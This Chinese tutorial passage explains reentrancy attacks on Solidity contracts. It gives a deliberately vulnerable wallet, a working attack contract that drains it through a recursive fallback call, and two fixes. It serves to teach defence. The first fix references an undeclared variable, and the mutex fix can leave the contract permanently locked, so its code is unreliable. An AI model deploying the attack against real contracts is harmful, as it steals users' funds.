调用外部合约或将以太币发送到地址的操作要求合约提交外部调用。这些外部调用可以被攻击者劫持,从而迫使合约执行更多的代码(即通过 fallback 回退函数),包括回调原合约本身。所以,合约代码执行过程中将可以“重入”该合约。
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// 钱包管理合约
contract Wallet {
mapping(address => uint) public balances;
function deposit(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
bool checkstatus;
if(balances[msg.sender] >= _amount) {
(checkstatus,) = msg.sender.call{value:_amount}('');
if(checkstatus) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
}
// 重入攻击合约
contract AttackWallet {
Wallet reInstance;
function getEther() public{
payable(msg.sender).transfer(payable(address(this)).balance);
}
constructor(address _addr) {
reInstance = Wallet(payable(_addr));
}
function callDeposit() public payable{
reInstance.deposit{value:msg.value}(address(this));
}
function attack() public {
reInstance.withdraw(1 gwei);
}
fallback() external payable {
if(address(reInstance).balance >= 1 gwei){
reInstance.withdraw(1 gwei);
}
}
}
function withdraw(uint _amount) public {
if (amount <= balances[msg.sender]) { //Checks
balances[msg.sender] -= _amount; //Effects
msg.sender.call{value:_amount}(''); //Interactions
}
}
bool reEntrancyMutex = false;
function withdraw(uint _amount) public {
require(!reEntrancyMutex);
bool checkstatus;
reEntrancyMutex = true;
if(balances[msg.sender] >= _amount) {
(checkstatus,) = msg.sender.call{value:_amount}('');
if(checkstatus) {
_amount;
}
balances[msg.sender] -= _amount;
reEntrancyMutex = false;
}
}